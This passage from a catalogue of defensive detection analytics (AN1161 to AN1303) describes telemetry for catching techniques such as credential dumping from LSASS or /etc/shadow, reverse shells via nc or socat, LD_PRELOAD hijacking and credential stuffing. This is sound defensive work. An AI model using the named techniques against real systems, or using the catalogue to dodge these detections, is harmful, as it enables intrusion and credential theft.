Programmatic or excessive access to file shares, SharePoint, or database repositories by users not typically interacting with them. This includes abnormal access by privileged accounts, enumeration of large numbers of files, or downloads of sensitive content in bursts.


[AN1161] Analytic 1161

Current version: 1.0

Description:

Command-line tools (e.g., curl, rsync, wget, or custom Python scripts) used to scrape documentation systems or internal REST APIs. Unusual access patterns to knowledge base folders or shared team drives.


[AN1162] Analytic 1162

Current version: 1.0

Description:

Abuse of SaaS platforms such as Confluence, GitHub, SharePoint Online, or Slack to access excessive internal documentation or export source code/data. Includes use of tokens or browser automation from unapproved IPs.


[AN1163] Analytic 1163

Current version: 1.0

Description:

Access of mounted cloud shares or document repositories via browser, terminal, or Finder by users not typically interacting with those resources. Includes script-based enumeration or mass download.


[AN1164] Analytic 1164

Current version: 1.0

Description:

Detects AppleScript execution via 'osascript', NSAppleScript/OSAScript APIs, and abnormal application control events across user sessions. Focuses on causal chains such as osascript spawning child processes, script-induced keystrokes, or API-backed dialog spoofing.


[AN1165] Analytic 1165

Current version: 1.0

Description:

Repeated invocation of high-resource application endpoints or GUI components causing CPU and memory spikes, logged as elevated request volumes, prolonged handle locks, or frequent crash recoveries.


[AN1166] Analytic 1166

Current version: 1.0

Description:

Automated scripts or repeated CLI/API requests that trigger application backends to consume high CPU or memory (e.g., Apache/PHP, MySQL, mail servers), resulting in syslog errors and excessive process spawning.


[AN1167] Analytic 1167

Current version: 1.0

Description:

Repetitive triggering of GUI or backend application workflows that cause increased CPU/memory usage, logged in unified logs as spin reports or crash dumps.


[AN1168] Analytic 1168

Current version: 1.0

Description:

Automated abuse of cloud-hosted applications (e.g., web apps, REST endpoints, internal APIs) causing compute exhaustion, high 5xx error rates, or frequent autoscaling triggers logged in app insights or cloudwatch.


[AN1169] Analytic 1169

Current version: 1.0

Description:

Detects FTP, SMB, or TFTP traffic initiated by suspicious processes like PowerShell, cmd.exe, or rundll32.exe—especially with large outbound file transfers or unbalanced traffic volume.


[AN1170] Analytic 1170

Current version: 1.0

Description:

Detects usage of FTP, SCP, or TFTP by non-interactive shells or automation scripts transferring large data volumes to untrusted IPs.


[AN1171] Analytic 1171

Current version: 1.0

Description:

Detects Automator, AppleScript, or Terminal executing curl, lftp, or TFTP for binary transfer to untrusted IPs or unusual ports.


[AN1172] Analytic 1172

Current version: 1.0

Description:

Detects file movement or outbound TFTP/FTP transfers from ESXi host initiated via shell commands or injected scripts, particularly from scratch partitions or /tmp.


[AN1173] Analytic 1173

Current version: 1.0

Description:

Detects internal hosts generating large outbound FTP/TFTP/SMB sessions to external IPs, or file transfers using non-standard ports and application mismatches (e.g., FTP over port 80).


[AN1174] Analytic 1174

Current version: 1.0

Description:

Monitor command execution of powercfg.exe with arguments modifying sleep, hibernate, or display timeouts. Abnormal or repeated modifications to power settings outside administrative baselines may indicate persistence attempts. Correlate process creation with registry and system configuration changes to build behavioral chains.


[AN1175] Analytic 1175

Current version: 1.0

Description:

Detect execution of system utilities (systemctl, systemd-inhibit, systemdsleep) modifying sleep or hibernate behavior. Abnormal edits to system configuration files (e.g., /etc/systemd/sleep.conf) should be correlated with process execution to identify persistence techniques.


[AN1176] Analytic 1176

Current version: 1.0

Description:

Monitor pmset command executions altering sleep/hibernate/standby parameters. Unexpected modifications to /Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist or similar files should be correlated with process activity.


[AN1177] Analytic 1177

Current version: 1.0

Description:

Multi-stage Windows DACL manipulation behavioral chain: (1) Process creation of permission-modifying utilities (icacls.exe, takeown.exe, attrib.exe, cacls.exe) or PowerShell ACL cmdlets, (2) Command-line analysis revealing privilege escalation intent through suspicious parameters (/grant, /takeown, /T, Set-Acl), (3) DACL modification events (4670) correlating with process execution, (4) Subsequent file access attempts (4663) indicating successful permission bypass, (5) Potential follow-on persistence or lateral movement activities


[AN1178] Analytic 1178

Current version: 1.0

Description:

Correlate DNS queries that generate domains with high entropy or gibberish patterns, combined with short-lived connections from unusual processes. Monitor Sysmon DNS events and Windows Security logs for abnormal query rates and failed lookups.


[AN1179] Analytic 1179

Current version: 1.0

Description:

Identify processes issuing repeated DNS queries to random-looking domains with abnormal entropy or word concatenations. Correlate resolver logs with high NXDOMAIN rates and auditd socket connections.


[AN1180] Analytic 1180

Current version: 1.0

Description:

Monitor unified DNS logs for abnormal domain queries with low lexical similarity to known domains, repeated failed lookups, and random string structures. Cross-check with process logs to confirm unusual origins (non-browser apps).


[AN1181] Analytic 1181

Current version: 1.0

Description:

Use ESXi syslogs to track abnormal DNS query patterns from management agents or VMs. Identify high-frequency, low-TTL, or unresolvable domains as suspicious. Correlate with unusual management plane process activity.


[AN1182] Analytic 1182

Current version: 1.0

Description:

Process execution that probes user activity artifacts (e.g., desktop files, registry history) following recent user login/unlock events.


[AN1183] Analytic 1183

Current version: 1.0

Description:

Access to shell history or GUI input state (xdotool, xinput) for presence validation prior to payload execution.


[AN1184] Analytic 1184

Current version: 1.0

Description:

API usage or filesystem access revealing user state or browser artifacts (e.g., Safari bookmarks, CGEventState).


[AN1185] Analytic 1185

Current version: 1.0

Description:

Detection focuses on abnormal service executions initiated via service control manager APIs, sc.exe, net.exe, or PsExec creating temporary services. Defenders observe process creation of services.exe spawning non-standard binaries, registry changes in service keys followed by rapid execution, and network connections originating from processes tied to transient services. Correlation across process lineage, registry activity, and service logs provides strong signals of malicious service execution.


[AN1186] Analytic 1186

Current version: 1.0

Description:

Registry key modifications under IFEO paths (e.g., Debugger value set under Image File Execution Options), especially for security-related or accessibility binaries, followed by anomalous process execution with debugger flags or SYSTEM-level access at login. Detectable by correlating registry modifications, process creation, and parent-child anomalies with unusual command-line usage or access tokens.


[AN1187] Analytic 1187

Current version: 1.0

Description:

Detection focuses on correlating snapshot creation events with subsequent instance creation and mounting activities. From a defender perspective, suspicious sequences include snapshot creation by unexpected or newly created IAM users, snapshots created from sensitive volumes without preceding change-control activity, or snapshots immediately followed by mounting to unauthorized instances. Cross-referencing with user behavior, IP geolocation, and automation context helps distinguish benign backup operations from adversary-driven snapshot exploitation.


[AN1188] Analytic 1188

Current version: 1.0

Description:

Creation, deletion, or modification of security groups and firewall rules in cloud control plane logs that expand access to cloud resources beyond expected baselines. Defender view: unexpected ingress/egress rules permitting 0.0.0.0/0 or opening atypical ports, often correlated with privileged role or API key activity.


[AN1189] Analytic 1189

Current version: 1.0

Description:

Detects unusual outbound connections to web services from uncommon processes using SSL/TLS, particularly those exhibiting high outbound data volume or persistence.


[AN1190] Analytic 1190

Current version: 1.0

Description:

Detects command-line tools, agents, or scripts making outbound HTTPS connections to popular web services like Discord, Slack, Dropbox, or Graph API in an unusual context.


[AN1191] Analytic 1191

Current version: 1.0

Description:

Detects user agents or background services making unauthorized or unscheduled web API calls to cloud/web services over HTTPS.


[AN1192] Analytic 1192

Current version: 1.0

Description:

Detects guest VMs or management agents issuing HTTP(S) traffic to external services without a valid patch management or backup justification.


[AN1193] Analytic 1193

Current version: 1.0

Description:

Processes accessing raw logical drives (e.g., .\C:) to bypass file system protections or directly manipulate data structures.


[AN1194] Analytic 1194

Current version: 1.0

Description:

CLI or automated utilities accessing raw device volumes or flash storage directly (e.g., via copy flash:, format, or partition commands).


[AN1195] Analytic 1195

Current version: 1.0

Description:

Unauthorized modification of service-related registry keys such as ImagePath, FailureCommand, ServiceDll, or Performance/Parameters keys. Defender correlates registry modifications, anomalous service metadata changes, and subsequent service process executions that deviate from baseline configurations.


[AN1196] Analytic 1196

Current version: 1.0

Description:

Abuse of bind mounts to obscure process directories. Defender perspective: detecting anomalous mount operations where a process’s /proc entry is remapped to another directory, often hiding malicious activity from native utilities (ps, top). Behavior chain includes: (1) execution of mount with -o bind or -B flags, (2) modification of /proc entries inconsistent with expected process lineage, and (3) subsequent anomalous activity from processes whose metadata no longer matches execution context.


[AN1197] Analytic 1197

Current version: 1.0

Description:

Detects the modification or addition of Launch Agents or Startup Items to establish persistence. Adversaries may write plist or executable files to ~/Library/LaunchAgents/, /Library/StartupItems/, or similar directories and configure them to run at user or system boot. Detection requires correlating file creation or modification events with subsequent user logon or boot-time process execution.


[AN1198] Analytic 1198

Current version: 1.0

Description:

Monitors suspicious access to password stores such as LSASS, DPAPI, Windows Credential Manager, or browser credential databases. Detects anomalous process-to-process access (e.g., Mimikatz accessing LSASS) and correlation of credential store file reads with execution of non-standard processes.


[AN1199] Analytic 1199

Current version: 1.0

Description:

Detects access to known password store files (e.g., /etc/shadow, GNOME Keyring, KWallet, browser credential databases). Monitors anomalous process read attempts and suspicious API calls that attempt to extract stored credentials.


[AN1200] Analytic 1200

Current version: 1.0

Description:

Monitors Keychain database access and suspicious invocations of security and osascript utilities. Correlates process execution with attempts to dump or unlock Keychain data.


[AN1201] Analytic 1201

Current version: 1.0

Description:

Detects attempts to access or enumerate cloud password/secrets storage services such as AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager. Monitors API calls for abnormal enumeration or bulk retrieval of secrets.


[AN1202] Analytic 1202

Current version: 1.0

Description:

Monitor email message traces and headers for failed SPF, DKIM, or DMARC checks indicating spoofed sender identities. Correlate abnormal sender domains or mismatched return-paths with elevated spoofing likelihood.


[AN1203] Analytic 1203

Current version: 1.0

Description:

Detects spoofed emails by analyzing mail server logs (e.g., Postfix, Sendmail) for mismatched header fields, failed SPF/DKIM checks, and anomalies in SMTP proxy logs. Defender observes discrepancies between sending domain, return-path domain, and message metadata.


[AN1204] Analytic 1204

Current version: 1.0

Description:

Detects suspicious inbound mail traffic where SPF/DKIM/DMARC authentication fails or where sender and return-path domains mismatch, observable in Apple Mail unified logs or MDM-controlled logging pipelines.


[AN1205] Analytic 1205

Current version: 1.0

Description:

Correlates Office 365 or Google Workspace audit logs for spoofed sender addresses, failed email authentication, and anomalies in message delivery metadata. Defender observes failed SPF/DKIM checks and domain mismatches tied to suspicious campaigns.


[AN1206] Analytic 1206

Current version: 1.0

Description:

Suspicious use of NTFS file attributes such as Alternate Data Streams (ADS) or Extended Attributes (EA) to hide data. Defender perspective: anomalous file creations or modifications containing colon syntax (file.ext:ads), API calls like ZwSetEaFile/ZwQueryEaFile, or PowerShell/Windows utilities interacting with -stream parameters. Correlation across file metadata anomalies, process lineage, and command execution provides context.


[AN1207] Analytic 1207

Current version: 1.0

Description:

Abuse of mavinject.exe to inject DLLs or import descriptors into another running process. Chain: (1) mavinject.exe starts with /INJECTRUNNING or /HMODULE → (2) mavinject obtains high-access handles to a target process (VM_WRITE/CREATE_THREAD) → (3) target process loads attacker DLL (module load) → (4) optional follow-on child activity or network egress from the target process.


[AN1208] Analytic 1208

Current version: 1.0

Description:

Detects creation or modification of user-level Launch Agents in monitored directories using .plist files with suspicious ProgramArguments or RunAtLoad keys. Correlates file write activity with execution of launchctl or unsigned binaries invoked at login.


[AN1209] Analytic 1209

Current version: 1.0

Description:

Detection focuses on identifying abuse of LD_PRELOAD and related linker variables. Defender perspective: monitor unexpected setting or modification of LD_PRELOAD in shell initialization scripts or environment exports, file creation of suspicious shared libraries, and correlation of these modifications with anomalous process execution. Key signals include execve events with LD_PRELOAD defined, newly created .so files in user directories, and processes hooking libc functions exhibiting abnormal behavior.


[AN1210] Analytic 1210

Current version: 1.0

Description:

Detection centers on DYLD_INSERT_LIBRARIES and DYLD_LIBRARY_PATH abuse. Defender perspective: monitor for modification of these environment variables in shell or plist files, file creation of dylibs in user-controlled paths, and correlation of environment variable usage with unexpected module loads by user applications. Suspicious indicators include processes with DYLD_INSERT_LIBRARIES set, execution of applications loading untrusted dylibs, and anomalies in module load history.


[AN1211] Analytic 1211

Current version: 1.0

Description:

Modification or replacement of service executables due to weak file or directory permissions. Defender observes file writes to service binary paths, unexpected modifications of executables associated with registered services, and subsequent service execution of attacker-supplied binaries under elevated permissions.


[AN1212] Analytic 1212

Current version: 1.0

Description:

Detects adversary activity aimed at accessing LSA Secrets, including registry key export of HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets or memory scraping via tools such as Mimikatz or PowerSploit's Invoke-Mimikatz.


[AN1213] Analytic 1213

Current version: 1.0

Description:

Detects suspicious custom compression/encryption routines through anomalous script or binary execution that produces high-entropy files without standard archiving utilities. Correlates script execution, memory API usage (bitwise ops, CryptoAPI calls), and creation of archive-like files with uncommon headers.


[AN1214] Analytic 1214

Current version: 1.0

Description:

Detects custom archive routines by correlating script execution (Python, Perl, Bash) with creation of high-entropy files in temporary or user directories. Flags processes performing unusual bitwise operations or writing files without standard compression headers.


[AN1215] Analytic 1215

Current version: 1.0

Description:

Detects custom archiving by monitoring execution of Swift/Objective-C apps or scripts producing high-entropy files with non-standard headers. Correlates unified logs of abnormal NSFileHandle/NSData operations, memory use of XOR/bitwise operations, and file creation events.


[AN1216] Analytic 1216

Current version: 1.0

Description:

Detects the relocation of malicious executables via copy/move actions across suspicious folders (e.g., from Downloads to System32), followed by deletion of the original source or renaming to blend into legitimate binaries.


[AN1217] Analytic 1217

Current version: 1.0

Description:

Detects binary movement or copying between untrusted and trusted paths (e.g., /tmp/ → /usr/bin/ or /etc/init.d/) that may indicate persistence attempts or cleanup of origin traces.


[AN1218] Analytic 1218

Current version: 1.0

Description:

Detects movement of binaries to ~/Library/, /System/, or app bundle locations, especially after initial execution or download from Safari or Mail.


[AN1219] Analytic 1219

Current version: 1.0

Description:

Detects firmware or script relocation attempts (e.g., CLI-based copy, move, or rename) between temporary partitions and config startup folders on routers or switches.


[AN1220] Analytic 1220

Current version: 1.0

Description:

Execution of SyncAppvPublishingServer.vbs through wscript.exe with a command-line containing embedded PowerShell, proxying malicious PowerShell execution through a Microsoft-signed VBScript interpreter to evade detection and restrictions.


[AN1221] Analytic 1221

Current version: 1.0

Description:

Detects the creation, modification, or deletion of scheduled tasks through Task Scheduler, WMI, PowerShell, or API-based methods followed by execution from svchost.exe or taskeng.exe. Includes detection of hidden or anomalous scheduled tasks, especially those created under SYSTEM or suspicious user contexts.


[AN1222] Analytic 1222

Current version: 1.0

Description:

Detection of anomalous registry modifications to Subject Interface Packages (SIPs) or trust provider DLL mappings, unexpected loading of non-Microsoft cryptographic modules, or attempts to redirect WinVerifyTrust validation logic. Defender view focuses on registry tampering, suspicious DLL loads into trusted processes, and abnormal trust validation failures correlated across event streams.


[AN1223] Analytic 1223

Current version: 1.0

Description:

Detects anomalous process execution patterns where a process's parent terminates quickly after process creation or is re-parented to 'init' (PID 1), often indicating double-fork or daemon-style detachment. These behaviors sever the parent-child relationship and obscure the execution origin in process tree analysis.


[AN1224] Analytic 1224

Current version: 1.0

Description:

Detects execution patterns where a child process is detached from its original parent, often showing up under 'launchd' (PID 1) with no parent lineage. These breakages in the process tree are indicative of evasive techniques using daemon(), fork() or background execution flags.


[AN1225] Analytic 1225

Current version: 1.0

Description:

Detects suspicious usage of common application-layer protocols (e.g., HTTP, HTTPS, DNS, SMB) by abnormal processes, with high outbound byte counts or irregular ports, possibly indicating command and control or data exfiltration.


[AN1226] Analytic 1226

Current version: 1.0

Description:

Detects suspicious curl, wget, or custom socket traffic that leverages DNS, HTTPS, or IRC-style protocols with unbalanced traffic or beacon-like intervals.


[AN1227] Analytic 1227

Current version: 1.0

Description:

Detects applications using abnormal protocols or high volume traffic not previously associated with the process image, such as Automator or AppleScript invoking curl or python sockets.


[AN1228] Analytic 1228

Current version: 1.0

Description:

Detects application-layer tunneling or unauthorized app protocols like DNS-over-HTTPS, embedded C2 in TLS/HTTP headers, or misused SMB traffic crossing VLANs.


[AN1229] Analytic 1229

Current version: 1.0

Description:

Suspicious process spawning (e.g., rundll32, svchost, powershell, or netsh) followed by network connection creation to internal hosts or uncommon external endpoints on high or non-standard ports.


[AN1230] Analytic 1230

Current version: 1.0

Description:

User-space tools (e.g., socat, ncat, iptables, ssh) used in non-standard ways to establish reverse shells, port-forwarding, or inter-host connections. Often chained with uncommon outbound destinations or SSH tunnels.


[AN1231] Analytic 1231

Current version: 1.0

Description:

AppleScript, LaunchAgents, or remote login services (ssh, networksetup) establishing proxy tunnels or dynamic port forwards to external IPs or alternate local hosts.


[AN1232] Analytic 1232

Current version: 1.0

Description:

Direct use of nc, socat, or reverse tunnel scripts initiated by abnormal user contexts or unauthorized VIBs initiating connections from hypervisor to external systems.


[AN1233] Analytic 1233

Current version: 1.0

Description:

Dynamic or static port forwarding rules added to route traffic through an internal host, or configuration changes to proxy firewall rules not aligned with baselined policy.


[AN1234] Analytic 1234

Current version: 1.0

Description:

Adversaries attempt to read sensitive files such as /etc/passwd and /etc/shadow for credential dumping. This may involve access to the files directly via command-line utilities (e.g., cat, less), creation of backup copies, or parsing through post-exploitation frameworks. Multi-event correlation includes elevated process execution, file access/read on sensitive paths, and anomalous read behaviors tied to non-root or unusual users.


[AN1235] Analytic 1235

Current version: 1.0

Description:

Adversary uses built-in tools like 'net user /add', PowerShell, or WMI to create a local user. Sequence: Account creation event (4720) follows process creation of a suspicious executable (e.g., powershell.exe or net.exe).


[AN1236] Analytic 1236

Current version: 1.0

Description:

Local user accounts are created via binaries like 'useradd', 'adduser', or by editing passwd/shadow. Behavior chain includes execution of user management binaries or modification of user database files.


[AN1237] Analytic 1237

Current version: 1.0

Description:

Account creation using 'dscl -create' or via GUI tools. Detection involves command execution and file changes to the local directory services database.


[AN1238] Analytic 1238

Current version: 1.0

Description:

Account created using esxcli commands. Sequence includes esxcli execution and successful modification to account DB.


[AN1239] Analytic 1239

Current version: 1.0

Description:

Account created in a running container (e.g., via 'useradd' or by modifying /etc/passwd directly). Detectable via runtime telemetry (e.g., Falco or eBPF hooks).


[AN1240] Analytic 1240

Current version: 1.0

Description:

Account created via CLI using 'username' command or REST API. Detectable through AAA logging or CLI history telemetry.


[AN1241] Analytic 1241

Current version: 1.0

Description:

Detects the redirection of syscall execution flow via modification of VDSO code stubs or GOT entries to load and execute a malicious shared object through mmap and ptrace.


[AN1242] Analytic 1242

Current version: 1.0

Description:

Detection focuses on abnormal or unauthorized cloud instance creation events. From a defender’s perspective, suspicious behavior includes VM/instance creation by rarely used or newly created accounts, creation events from unusual geolocations, or rapid sequences of snapshot creation followed by instance creation and mounting. Unexpected network or IAM policy changes applied to new instances can indicate adversarial use rather than legitimate provisioning.


[AN1243] Analytic 1243

Current version: 1.0

Description:

Monitor kernel module load/unload activity via modprobe, insmod, rmmod, or direct manipulation of /lib/modules. Correlate with installation of kernel headers, compilation commands, or downloads of .ko files. Detect anomalies in unsigned module loading or repeated module load attempts under non-root users.


[AN1244] Analytic 1244

Current version: 1.0

Description:

Detect user-initiated kextload commands or modifications to /Library/Extensions. Correlate with changes to KextPolicy database or unauthorized developer signing identities. Alert on attempts to disable SIP or load legacy extensions from unsigned sources.


[AN1245] Analytic 1245

Current version: 1.0

Description:

Defenders can identify PowerShell profile-based persistence by correlating file creation or modification in known profile locations with subsequent PowerShell process launches that do not use the -NoProfile flag. Profile scripts loading unusual modules or launching external programs, particularly under elevated contexts, are suspicious and may represent adversary persistence or privilege escalation.


[AN1246] Analytic 1246

Current version: 1.0

Description:

Detection correlates abnormal installation or modification of root or code-signing certificates, creation/modification of suspicious registry keys for trust providers, and unusual module loads from non-standard locations. Identifies unsigned or improperly signed executables bypassing trust prompts, combined with persistence artifacts.


[AN1247] Analytic 1247

Current version: 1.0

Description:

Detection monitors extended attribute manipulation (xattr) to strip quarantine or trust metadata, anomalous installation of root certificates in /etc/ssl or /usr/local/share/ca-certificates, and unauthorized modification of system trust stores. Correlates with unexpected process execution involving package managers or custom certificate utilities.


[AN1248] Analytic 1248

Current version: 1.0

Description:

Detection monitors modification of code signing attributes, Gatekeeper/quarantine flags, and insertion of new trust certificates via security add-trusted-cert. Identifies adversary use of xattr to strip quarantine flags from downloaded binaries. Correlates with abnormal module loads bypassing SIP protections.


[AN1249] Analytic 1249

Current version: 1.0

Description:

Defenders may observe suspicious SNMP MIB enumeration through abnormal queries for large sets of OIDs, repeated SNMP GETBULK/GETNEXT requests, or queries originating from non-administrative IP addresses. Anomalous use of community strings, authentication failures, or enumeration activity outside maintenance windows may also indicate attempts to dump MIB contents. Correlation across syslog, NetFlow, and SNMP audit data can reveal chains of behavior such as repeated authentication failures followed by successful large-scale OID retrieval.


[AN1250] Analytic 1250

Current version: 1.0

Description:

Detects unauthorized modifications to PAM configuration files or shared object modules. Correlates file modification events under /etc/pam.d/ or /lib/security/ with unusual authentication activity such as multiple simultaneous logins, off-hours logins, or logons without corresponding physical/VPN access.


[AN1251] Analytic 1251

Current version: 1.0

Description:

Detects suspicious changes to macOS authorization and PAM plugin files. Correlates file modifications under /etc/pam.d/ or /Library/Security/SecurityAgentPlugins with unexpected authentication attempts or anomalous account usage.


[AN1252] Analytic 1252

Current version: 1.0

Description:

Detects behavioral chains where PowerShell is launched with encoded commands, unusual parent processes, or suspicious modules loaded, potentially followed by network connections or child process spawning. Supports detection of both direct (powershell.exe) and indirect (.NET automation) invocations.


[AN1253] Analytic 1253

Current version: 1.0

Description:

A process (often after stealing/creating a token) calls CreateProcessWithTokenW/CreateProcessAsUserW or uses runas to spawn a new process whose security context (SID/LogonId/IntegrityLevel) differs from its parent. Chain: (1) suspicious command/API → (2) privileged handle or token duplication/open → (3) new child process running as another user / higher integrity → (4) optional follow‑on privileged/lateral actions.


[AN1254] Analytic 1254

Current version: 1.0

Description:

Anomalous use of ICMP or UDP by non-network service processes for data exfiltration or remote control, especially if traffic bypasses proxy infrastructure or shows unusual flow patterns.


[AN1255] Analytic 1255

Current version: 1.0

Description:

ICMP or raw socket traffic generated by user-mode processes like bash, Python, or nc, typically using ping, hping3, or crafted packets via libpcap or scapy.


[AN1256] Analytic 1256

Current version: 1.0

Description:

Unsigned binaries or interpreted scripts initiating non-standard protocols (ICMP, UDP, SOCKS) outside of baseline network behavior.


[AN1257] Analytic 1257

Current version: 1.0

Description:

VMCI (Virtual Machine Communication Interface) traffic between guest and host, or between VMs, originating from non-management tools or unauthorized binaries.


[AN1258] Analytic 1258

Current version: 1.0

Description:

Non-standard port/protocol pairings or low-entropy ICMP traffic resembling tunneling patterns (e.g., fixed-size pings with delays).


[AN1259] Analytic 1259

Current version: 1.0

Description:

Adversary modifies Active Directory domain trust settings via netdom, nltest, or PowerShell to add new domain trust or alter federation. Modifications occur in AD object attributes like trustDirection, trustType, trustAttributes, often paired with SeEnableDelegationPrivilege or certificate injection.


[AN1260] Analytic 1260

Current version: 1.0

Description:

Adversary adds federated identity provider (IdP) or modifies tenant domain authentication from Managed to Federated. Detected via API, PowerShell, or Admin Portal through federation events like Set domain authentication, Add federated identity provider, or Update-MsolFederatedDomain.


[AN1261] Analytic 1261

Current version: 1.0

Description:

Detection of container image build activity directly on the host using Docker or Kubernetes APIs. Defenders may observe Docker build requests, anomalous Dockerfile instructions (such as downloading code from unknown IPs), or creation of new images followed by immediate deployment. This behavior chain typically consists of an unexpected image creation event correlated with outbound network communication to non-standard or untrusted destinations.


[AN1262] Analytic 1262

Current version: 1.0

Description:

Multiple failed authentication attempts using distinct username/password pairs from a single IP address or session within a short time window, targeting common services like RDP or SMB


[AN1263] Analytic 1263

Current version: 1.0

Description:

Rapid login failures across different users from a single IP address, targeting SSH or PAM login with distinct username-password pairs


[AN1264] Analytic 1264

Current version: 1.0

Description:

Burst of failed authentications with rotating usernames against loginwindow or remote management service using reused breached credentials


[AN1265] Analytic 1265

Current version: 1.0

Description:

Same source IP performing multiple authentication attempts using known breached username/password combinations across different identities in Azure AD, Okta, or Duo


[AN1266] Analytic 1266

Current version: 1.0

Description:

Multiple sign-in failures against cloud-based applications using username/password combinations leaked from unrelated domains


[AN1267] Analytic 1267

Current version: 1.0

Description:

Router/firewall/syslog logs showing authentication failures with unique usernames and reused credentials from same source IP


[AN1268] Analytic 1268

Current version: 1.0

Description:

Credential stuffing attempts against Kubernetes API or containerized login shells using stolen or leaked user credentials


[AN1269] Analytic 1269

Current version: 1.0

Description:

Use of leaked credential pairs against Outlook Web Access (OWA), Microsoft 365, or Exchange from a single client IP with multiple failures


[AN1270] Analytic 1270

Current version: 1.0

Description:

Burst of failed login attempts across VM instances using leaked credential pairs from single IP in public cloud environments


[AN1271] Analytic 1271

Current version: 1.0

Description:

Anomalous creation or mounting of hidden partitions or virtual file systems. Defender view: detection of registry modifications linked to non-standard file systems, suspicious disk I/O patterns, or bootkit-like behavior where hidden volumes are accessed outside normal file system APIs.


[AN1272] Analytic 1272

Current version: 1.0

Description:

Unusual mounting of loopback or pseudo file systems not aligned with legitimate administrative activity. Defender view: monitoring auditd and syslog for mount commands involving suspicious mount points, reserved blocks, or device mappings indicative of hidden partitions.


[AN1273] Analytic 1273

Current version: 1.0

Description:

Hidden file system use through APFS containers or custom plist configuration. Defender view: anomalous use of hdiutil or diskutil to attach hidden partitions, modification of plist entries tied to system volumes, or suspicious raw disk access.


[AN1274] Analytic 1274

Current version: 1.0

Description:

Detects anomalous network traffic on UDP 5355 (LLMNR) and UDP 137 (NBT-NS) combined with unauthorized SMB relay attempts, registry modifications re-enabling multicast name resolution, or suspicious service creation indicative of adversary-in-the-middle credential interception.


[AN1275] Analytic 1275

Current version: 1.0

Description:

High volume of failed logon attempts followed by a successful one from a suspicious user, host, or timeframe


[AN1276] Analytic 1276

Current version: 1.0

Description:

Multiple authentication failures for valid or invalid users followed by success from same IP/user


[AN1277] Analytic 1277

Current version: 1.0

Description:

Password spraying or brute force attempts across user pool within short time intervals


[AN1278] Analytic 1278

Current version: 1.0

Description:

Multiple failed authentications in unified logs (e.g., loginwindow or sshd)


[AN1279] Analytic 1279

Current version: 1.0

Description:

Excessive login attempts followed by success from SaaS apps like O365, Dropbox, etc.


[AN1280] Analytic 1280

Current version: 1.0

Description:

Enumeration of saved Wi-Fi profiles and cleartext password retrieval using netsh wlan or API-level access to wlanAPI.dll.


[AN1281] Analytic 1281

Current version: 1.0

Description:

File access to NetworkManager connection configs and attempts to read PSK credentials from /etc/NetworkManager/system-connections/*.


[AN1282] Analytic 1282

Current version: 1.0

Description:

Use of the security command or Keychain API to extract known Wi-Fi passwords for target SSIDs.


[AN1283] Analytic 1283

Current version: 1.0

Description:

Detection of default account usage such as Guest or Administrator performing interactive or remote logons on systems outside of installation or maintenance windows.


[AN1284] Analytic 1284

Current version: 1.0

Description:

Monitoring for SSH logins from default accounts such as 'root', especially when login is via password and not key-based authentication.


[AN1285] Analytic 1285

Current version: 1.0

Description:

Use of known default service accounts or root-level cloud accounts performing authentication or changes to IAM policy.


[AN1286] Analytic 1286

Current version: 1.0

Description:

Abuse of system-generated or default privileged accounts such as 'root' or 'vpxuser' logging into ESXi hosts.


[AN1287] Analytic 1287

Current version: 1.0

Description:

Login activity from default admin credentials (e.g., 'admin', 'cisco') on routers, firewalls, and switches.


[AN1288] Analytic 1288

Current version: 1.0

Description:

Execution of Microsoft-signed scripts (e.g., pubprn.vbs, installutil.exe, wscript.exe, cscript.exe) used to proxy execution of untrusted or external binaries. Behavior is detected through command-line process lineage, child process spawning, and unsigned payload execution from signed parent.


[AN1289] Analytic 1289

Current version: 1.0

Description:

Detects thread local storage (TLS) callback injection by monitoring memory modifications to PE headers and TLS directory structures during or after process hollowing events, followed by anomalous thread behavior prior to main entry point execution.


[AN1290] Analytic 1290

Current version: 1.0

Description:

Detects rogue DHCP server activity and anomalous DHCP OFFER/ACK messages assigning unexpected DNS or gateway values. Detection correlates DHCP server role changes, DHCP exhaustion warnings, and sudden network configuration changes across endpoints.


[AN1291] Analytic 1291

Current version: 1.0

Description:

Detects rogue DHCP activity by monitoring syslog for dhclient messages assigning unauthorized DNS/gateway values. Packet capture or IDS can detect multiple competing DHCP OFFERs from non-authorized servers.


[AN1292] Analytic 1292

Current version: 1.0

Description:

Detects DHCP spoofing by monitoring unified logs for unexpected DHCP ACK/OFFER parameters and correlating with packet captures for multiple DHCP servers. Behavioral emphasis is on inconsistent DNS and gateway assignments that redirect traffic.


[AN1293] Analytic 1293

Current version: 1.0

Description:

Defenders may observe adversary attempts to patch system images by monitoring for anomalous file transfers (TFTP, SCP, FTP) of image files, unauthorized CLI commands altering boot system variables, integrity check mismatches between running and baseline OS images, and runtime memory manipulation attempts. Suspicious sequences include uploading a new image, modifying boot parameters, and subsequent reload/reboot of the device. In-memory patching attempts may manifest as debug commands or boot loader manipulation inconsistent with normal administrative activity.


[AN1294] Analytic 1294

Current version: 1.0

Description:

Untrusted processes creating outbound TLS/HTTPS connections with malformed certificates or header fields, often mismatched with target service behavior. Detects protocol impersonation attempts via traffic metadata analysis and host process lineage.


[AN1295] Analytic 1295

Current version: 1.0

Description:

Detection of binaries spawning encrypted sessions using OpenSSL or curl to external services with mismatched ports/protocols. Identifies behavior where internal services simulate trusted cloud service traffic patterns.


[AN1296] Analytic 1296

Current version: 1.0

Description:

Unsigned or suspicious applications initiating network traffic claiming to be browser, mail, or cloud clients. Detects impersonation via TLS fingerprint and User-Agent string deviation.


[AN1297] Analytic 1297

Current version: 1.0

Description:

ESXi hosts initiating connections from non-standard daemons mimicking HTTP/HTTPS or SNMP traffic, but with irregular payload formats or expired/unsigned TLS certificates.


[AN1298] Analytic 1298

Current version: 1.0

Description:

Detects adversary tampering of shared directories via file drops (e.g., malicious LNK, EXE, VBS) followed by user execution or suspicious network activity.


[AN1299] Analytic 1299

Current version: 1.0

Description:

Detects script or binary modification within shared NFS/SMB directories followed by process execution from those paths.


[AN1300] Analytic 1300

Current version: 1.0

Description:

Detects modification of shared network folders via .app bundles or scripting files with hidden extensions (e.g., double extensions like docx.app).


[AN1301] Analytic 1301

Current version: 1.0

Description:

Detects upload of malicious or unusual file types into cloud-shared folders, followed by user downloads or interactions.


[AN1302] Analytic 1302

Current version: 1.0

Description:

Detects embedded macros or scripts added to shared documents or use of external references to execute code.


[AN1303] Analytic 1303

Current version: 1.0

Description:

